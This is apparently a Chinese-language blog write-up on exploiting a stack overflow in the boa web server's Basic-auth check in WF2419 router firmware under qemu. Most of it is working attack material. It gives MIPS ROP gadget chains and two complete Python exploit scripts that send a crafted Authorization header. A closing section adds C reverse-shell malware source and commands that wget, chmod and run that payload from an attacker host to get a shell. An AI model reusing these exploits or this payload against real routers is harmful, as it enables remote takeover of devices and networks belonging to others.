# 环境搭建
固件获取 WF2419
Fetching Title#sw0w
选择 WF2419(2.2.36123)
先逆向分析 boa
漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 loc_4145D8: # s addiu $a0, $sp, 0x60 +var_40 li $a1, 0x420000 nop addiu $a1, (aSS_0 - 0x420000 ) # "%s:%s" move $a2, $s0 move $a3, $s4 la $t9, sprintf nop jalr $t9 ; sprintf nop lw $gp, 0x60 +var_48($sp) nop li $s3, 0x460000 nop addiu $s3, (byte_4596D0 - 0x460000 ) lbu $v0, 0x60 +var_40($sp) nop addiu $s2, $v0, -0x3A
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __fastcall user_ok (const char *a1, const char *a2) { int v4; int result; int v6; int v7; const char *v8; bool v9; char v10[64 ]; memset (v10, 0 , sizeof (v10)); v4 = 0 ; if ( get_password(64 ) >= 0 ) { sprintf (v10, "%s:%s" , a1, a2); v6 = (unsigned __int8)v10[0 ] - 58 ; while ( 1 ) { v7 = v4 << 6 ; if ( byte_4596D0[64 * v4] == 58 && !v6 ) break ; v8 = &byte_4596D0[v7]; if ( strlen (&byte_4596D0[v7]) >= 2 ) { v9 = strcmp (v10, v8) == 0 ; result = 1 ; if ( v9 ) return result; } if ( ++v4 > 0 ) { fprintf (stderr , "check password error,log_passwd=%s;passwd=%s\n" , a2, byte_4596D0); return 0 ; } } return 1 ; } else { fprintf (stderr , "%s:%s:%d;get password error!\n" , "htauth.c" , "user_ok" , 74 ); return 1 ; } }
启动 boa 的时候可以检查下配置文件
1 2 3 4 5 6 7 8 9 ➜ sqrootfs file bin/busybox bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ➜ sqrootfs cp $(which qemu-mips) . ➜ sqrootfs grep -r "boa -" . ./bin/webs: /bin/boa -p /web -f /etc/boa.conf & grep: ./var/run/webs.pid: Permission denied ➜ sqrootfs sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf [sudo] password for squ: Starting Protocol Module: HTTP Server ... OK
如果出现不能缺失 /dev/null
的问题
可以 sudo mknod -m 666 dev/null c 1 3
如果出现 can't create PID file
可以 md var/run
然后可以打个 PoC 试试看
1 wget --http-user=a --http-password=$(python -c 'print "a"*0x80') http://127.0.0.1
可以看到报错信息如下
1 2 3 4 translate_uri:222;Wget/1.19.4 (linux-gnu) translate_uri:254 translate_uri:256 htauth.c:user_auth:181;get password error!
✨TODO
逆向一下可以发现要打开一个 passwd
1 v2 = fopen("/tmp/passwd" , "r+" );
cp 本地的过去
在 wget 一下 可以看到崩溃
1 2 3 4 check password error,log_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;passwd=root:x:0:0:root:/root:/bin/bash caught SIGSEGV, dumping core in /var/boa qemu: uncaught target signal 6 (Aborted) - core dumped [1] 49014 abort sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf
# 漏洞分析
ra
在 sp + 0x14
buf
在 sp - 0x40
也就是 0x54
的 offs
同时我们也需要控制五个寄存器 s0 ~ s5
这五个调用者保存寄存器
这些寄存器主要是为了劫持返回地址 因为会有 sx 传递给 ax
然后 jalr ax 的 gadget
1 2 3 4 5 6 7 8 .text:004146 DC lw $ra, 0x60 +var_s14($sp) .text:004146E0 lw $s4, 0x60 +var_s10($sp) .text:004146E4 lw $s3, 0x60 +var_sC($sp) .text:004146E8 lw $s2, 0x60 +var_s8($sp) .text:004146 EC lw $s1, 0x60 +var_s4($sp) .text:004146F 0 lw $s0, 0x60 +var_s0($sp) .text:004146F 4 jr $ra .text:004146F 8 addiu $sp, 0x78
sprintf 的逆向语句如下
1 sprintf(dest, "%s:%s", username, password);
boa
has two loaded libraries, libC
and libgcc
.
审视一波 libc.so.0
1 2 3 4 5 6 7 8 9 10 11 12 Python> mipsrop.stackfinder() ---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x000068AC | addiu $a0,$sp,0x20+var_8 | jalr $v0 | | 0x0000711C | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 | | 0x000074BC | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 | | 0x00020660 | addiu $a0,$sp,0x30+var_18 | jalr $a0 | | 0x000071E4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x00008AD4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x0000A3CC | addiu $a2,$sp,0x40+var_28 | jr 0x40+var_sC($sp) | | 0x000125E0 | addiu $a2,$sp,0x18+arg_8 | jr 0x18+var_s0($sp) |
没有可用的 gadget
再到 libgcc 中找 第二列有 a0 第三列有 s0 ~ s4 就行
找到这个 也就是要确保
binsh 地址在 sp + 0x18 (但这个是在执行了 addiu $sp, 0x78
之后的)
而 system 在 s3 (sp + 0xc)
ra 在 sp +0x14
1 2 3 4 5 6 .text:0000ABD0 addiu $a0, $sp, 0x20+var_8 .text:0000ABD4 move $a1, $s2 .text:0000ABD8 move $s0, $zero .text:0000ABDC move $t9, $s3 .text:0000ABE0 jalr $t9 .text:0000ABE4 movz $s0, $v0, $v1
在 qemu 内模拟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x419000 r-xp 19000 0 /bin/boa 0x459000 0x45a000 rw-p 1000 19000 /bin/boa 0x45a000 0x466000 rwxp c000 0 [heap] 0x77ee2000 0x77eee000 r-xp c000 0 /lib/libgcc_s_4181.so.1 0x77eee000 0x77f2d000 ---p 3f000 0 [anon_77eee] 0x77f2d000 0x77f2e000 rw-p 1000 b000 /lib/libgcc_s_4181.so.1 0x77f2e000 0x77f6c000 r-xp 3e000 0 /lib/libc.so.0 0x77f6c000 0x77fac000 ---p 40000 0 [anon_77f6c] 0x77fac000 0x77fad000 rw-p 1000 3e000 /lib/libc.so.0 0x77fad000 0x77fb1000 rw-p 4000 0 [anon_77fad] 0x77fb1000 0x77fb7000 r-xp 6000 0 /lib/ld-uClibc.so.0 0x77ff5000 0x77ff6000 rw-p 1000 0 [anon_77ff5] 0x77ff6000 0x77ff7000 r--p 1000 5000 /lib/ld-uClibc.so.0 0x77ff7000 0x77ff8000 rw-p 1000 6000 /lib/ld-uClibc.so.0 0x7f9ee000 0x7fff7000 rwxp 609000 0 [stack] 0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]
gdb 定位到地址
可以看到由于 boa 的限制 ✨TODO
我们只溢出了 17 个 cmd 的字节命令
而 cmd 需要放在 0x40800368
的位置 也就是 esp + 0x18 0x40800350 + 0x18
从这一段可以看出
1 2 3 4 5 6 7 ► 0x4146dc <user_ok+460> lw $ra, 0x74($sp) <0x4146cc> 0x4146e0 <user_ok+464> lw $s4, 0x70($sp) 0x4146e4 <user_ok+468> lw $s3, 0x6c($sp) 0x4146e8 <user_ok+472> lw $s2, 0x68($sp) 0x4146ec <user_ok+476> lw $s1, 0x64($sp) 0x4146f0 <user_ok+480> lw $s0, 0x60($sp) 0x4146f4 <user_ok+484> jr $ra
ra 在 sp + 0x74 的位置
而 jr 之前会做一次 .text:004146F8 addiu $sp, 0x78
而 gadget 里的 cmd 地址是 addiu $a0, $sp, 0x20+var_8
也就是放在 ra 上 0x78 - 0x74 + 0x18
= 0x1c
的位置
exp 如下
s3 的位置是 sp + 0x6c
溢出点离 s0 是 0x40
所以溢出点离 s3 是 0x4c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import socketfrom pwn import *import structimport base64libc = 0x77f2e000 libgcc = 0x77ee2000 gadget = 0x0000ABD0 + libgcc system = 0x0002AC90 + libc MAXSZ = 1024 cmd = b"mkdir hack" context(arch = "mips" , endian = "big" , os = "Linux" , log_level = "DEBUG" ) def exp (): print (f"[+] gadget is {hex (gadget)} " ) print (f"[+] system is {hex (system)} " ) payload = b'a:%s' %(b'A' * (0x4C - 2 )) payload += p32(system) payload += b'AAAA' payload += p32(gadget) payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += cmd header = b'GET / HTTP/1.1\r\n' header += b'Host: 10.10.10.1:80\r\n' header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload) header += b'User-Agent: Real UserAgent\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) iport = ("10.10.10.1" ,80 ) s.connect(iport) s.send(header) msg = s.recv(MAXSZ) print ("[+] Message is %s" %(msg)) s.close() if __name__ == '__main__' : exp()
gdb 调试脚本
1 2 3 4 5 set arch mips set endian big set solib-search-path sqrootfs/lib/ b *0x4146f4 target remote 10.10.10.1:8888
程序是 chroot 到 /web 页面下了 所以 mkdir 是在 web 下
17 个字节的溢出是很难造成反向 shell 的 也就只能造成一次 17 字节的任意命令执行
重新考虑 rop
# 更好的 ROP
目标 让最后的 a0 尽可能的接近 sp 的位置
已知在 vuln 函数最后 jalr ra 之后 sp 是在 ra 上 4 字节
# gadget2
从 ra 开始到 cmd 结束 有 40 个字节的空区
要充分利用这 40 字节 就需要降低 esp
在 libc 中找到此 gadget
sp - 0x38 + 0x30 - 0x18 = sp - 0x20
的值给 a0
寄存器
然后跳到 先前的 a0
里面去
但是有个问题 sp-0x20
是在 saved 寄存器存放的地方 肯定是很难布置过长的 cmd
而且 a0
不可控 我们需要让 a0
可控
1 2 3 4 5 6 7 8 .text:00020650 addiu $sp, -0x38 .text:00020654 sw $ra, 0x30+var_s0($sp) .text:00020658 sw $gp, 0x30+var_20($sp) .text:0002065C li $v0, 2 .text:00020660 move $t9, $a0 .text:00020664 sw $v0, 0x30+var_18($sp) .text:00020668 jalr $t9 .text:0002066C addiu $a0, $sp, 0x30+var_18
# gadget1
而这个 gadget 依靠 a0
进行跳转 我们需要控制 a0
libgcc 中
我们可以控制 a0
也可以控制跳转地址
1 2 3 .text:00008B20 move $t9, $s4 .text:00008B24 jalr $t9 ; sub_8770 .text:00008B28 move $a0, $s0
# gadget3
同时 栈下去了 影响到我们的 s 寄存器列了 需要抬上来
之前 sp
减去了 0x38
那么这里 + 上 0x1c
的地方可以布置下一个 rop 并把 sp 加上来
1 2 3 4 .init:000017A4 lw $ra, 0x1C+var_s0($sp) .init:000017A8 nop .init:000017AC jr $ra .init:000017B0 addiu $sp, 0x20
# gadget4
最后 通过 sp 加上 0x18
的位置将 sp 回复到之前的 sp 一样的地址 并 jalr 到 s3
1 2 3 4 5 6 .text:0000ABD0 addiu $a0, $sp, 0x20+var_8 .text:0000ABD4 move $a1, $s2 .text:0000ABD8 move $s0, $zero .text:0000ABDC move $t9, $s3 .text:0000ABE0 jalr $t9 .text:0000ABE4 movz $s0, $v0, $v1
# 流程图
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import socketfrom pwn import *import base64context(arch = "mips" , endian = "big" , os = "Linux" , log_level = "DEBUG" ) libc = 0x77f2e000 libgcc = 0x77ee2000 system = 0x0002AC90 + libc gadgets = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0 ] MAXSZ = 1024 cmd = b"echo 'hacked' > CrimeStatement" def exp (): rop = list (map (lambda x: x + libgcc,gadgets)) rop[2 ] = rop[2 ] - libgcc + libc for i in range (1 ,5 ): print (f"[+] rop[{i} ] is {hex (rop[i])} " ) print (f"[+] system is {hex (system)} " ) payload = b'a:%s' %(b'A' * (0x3C - 2 )) payload += p32(rop[4 ]) payload += p32(rop[3 ]) payload += b'AAAA' payload += b'CCCC' payload += p32(system) payload += p32(rop[2 ]) payload += p32(rop[1 ]) payload += cmd header = b'GET / HTTP/1.1\r\n' header += b'Host: 10.10.10.1:80\r\n' header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload) header += b'User-Agent: Real UserAgent\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) iport = ("10.10.10.1" ,80 ) s.connect(iport) s.send(header) msg = s.recv(MAXSZ) print ("[+] Message is %s" %(msg)) s.close() if __name__ == '__main__' : exp()
# 做点坏事
既然都拿下了这么长的 cmd
那么不做点坏事也说不过去
busybox 中没有 nc
也没有 bash -i
之类的东西给我们做反向 shell
但是有 wget
下载恶意程序并运行
编写恶意程序 malware
(✨TODO 修改参数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <netinet/in.h> #include <stdlib.h> #include <sys/socket.h> #include <unistd.h> int main (int argc, char **argv) { int port = atoi(argv[2 ]); char * ip = argv[1 ]; int sd = socket(AF_INET, SOCK_STREAM, 0 ); struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(port), .sin_addr.s_addr = inet_addr(ip), }; connect(sd, (struct sockaddr *)&sin , sizeof (sin )); for (int _ = 0 ; _ <= 2 ; _++) dup2(sd, _); execl("/bin/sh" , "/bin/sh" , NULL ); return 0 ; }
1 mips-linux-gnu-gcc -static -mabi=32 -o malware malware.c
我们需要利用两次漏洞 一次让 malware 可执行 一次让其跑起来(因为长度不够 没法一次性解决)
1 2 3 wget http://10.10.10.2:8000/malware chmod +x malware ./malware 10.10.10.2 9999
攻击机开启监听
效果如下 成功 getshell
# 未完
1 2 3 4 5 6 7 8 9 ➜ squrootfs grep -r "Authorization: Basic " . Binary file ./bin/updatedd matches Binary file ./bin/busybox matches grep: ./var/run/webs.pid: Permission denied ➜ squrootfs grep -r "User-Agent: Real UserAgent" . grep: ./var/run/webs.pid: Permission denied ➜ squrootfs grep -r "User-Agent: " . Binary file ./bin/updatedd matches Binary file ./bin/busybox matches